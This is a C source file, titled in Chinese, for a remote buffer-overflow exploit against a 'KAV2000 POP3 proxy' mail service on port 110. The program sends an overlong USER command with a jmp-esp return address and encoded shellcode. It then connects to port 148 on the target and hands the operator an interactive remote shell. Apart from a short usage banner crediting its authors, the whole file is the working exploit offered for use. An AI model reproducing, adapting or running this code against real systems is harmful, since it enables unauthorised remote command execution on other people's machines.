毒霸邮件服务溢出程序for linux改进版

/ns/ld/softld/data/20011103003033.htm

//test only! by par, re. ilsy's win ver
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/in.h>
#include <unistd.h>
#include <linux/inet.h>
#include <stdio.h>

#define MAXLINE 512
#define JUMPESP "\x47\x8f\xaa\x77"

unsigned char eip[8] = JUMPESP;
unsigned char sploit[] = {
0x90, 0x8b, 0xfc,
0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,
0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,
0x99, 0xac, 0xb0, 0x42, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,
0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,
0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe0, 0xff, 0x13, 0xab, 0x59, 0x5a,
0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xac, 0x56,
0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,
0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe0, 0xff, 0x13,
0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,
0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,
0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,
0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,
0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,
0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,
0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,
0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,
0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,
0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,
0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,
0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,
0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,
0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57,
0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,
0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,
0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,
0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,
0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,
0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,
0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 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, 0x99, 0x99,
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
0x0d, 0x0a};

int expl(ip) //re. ilsy
char *ip;
{
int sockfd;
char buff[1600],*sBO;

int ret,i;
struct sockaddr_in server;
char buf[1024]={0};

sockfd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

server.sin_family = AF_INET;
server.sin_port = htons(110);
server.sin_addr.s_addr=inet_addr(ip);

ret=connect(sockfd,(struct sockaddr *)&server,sizeof(server));
if(ret==-1)
{
printf("connect port error\n");
return(-1);
}

printf("\nConnect Server is OK,Now is Receive Data From Server...");

ret=recv(sockfd,buf,sizeof(buf),0);
if(ret<0)
{
printf("Recvive Data Error");
return(-1);
}

if(strstr(buf,"+OK KAV2000 POP3 proxy ready!"))
{
buff[0]='U';
buff[1]='S';
buff[2]='E';
buff[3]='R';
buff[4]=' ';
for(i=5;i<993;buff[i++]='X');
strcpy(buff+993,(char *)eip);
//for(i=997;i<1012;Buff[i++]=0x90);
strcpy(buff+997,(char *)sploit);
sBO = buff;
ret=send(sockfd,sBO,993+4+580,0);
if(ret<0)
{
printf("Error Send Data\n");
return(-1);
}
printf("\nExploit code send over...\n");
}
else
{
printf("\nServer is Not KAV2000 POP3 proxy...\n");
}

close(sockfd);
return 1;

}

str_cli(fp, sockfd)
register FILE *fp;
register int sockfd;
{
int n;
char sendline[MAXLINE], recvline[MAXLINE + 1];

while (fgets(sendline, MAXLINE, fp) != NULL) {
n = strlen(sendline);
if (write(sockfd, sendline, n) != n)
printf("str_cli: writen error on socket");
n = read(sockfd, recvline, MAXLINE);
if (n < 0)
printf("str_cli: readline error");
recvline[n] = 0;
fputs(recvline, stdout);
}

if (ferror(fp))
printf("str_cli: error reading file");
}

void exec_sh(char *ip)
{
int sockfd;
struct sockaddr_in serv_addr;

bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr(ip);
serv_addr.sin_port = htons(148);

printf("connect shell...\n");
fflush(stdout);
if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
printf("client: can't open stream socket");

if (connect(sockfd, (struct sockaddr *) &serv_addr,
sizeof(serv_addr)) < 0)
printf("client: can't connect to server");

str_cli(stdin, sockfd);

close(sockfd);
exit(0);
}


int main(int argc,char *argv[])
{
int sockfd;
if(argc<2){
printf("Write by par,windows ver by ilsy. from www.whitecell.org.\n\nUsage:\n");
printf(" %s hostip\n",argv[0]);
return(-1);
}
if(fork()==0)
{
expl(argv[1]);
exit(0);
}
sleep(5);
exec_sh(argv[1]);
}
_________________
master-hand of parameter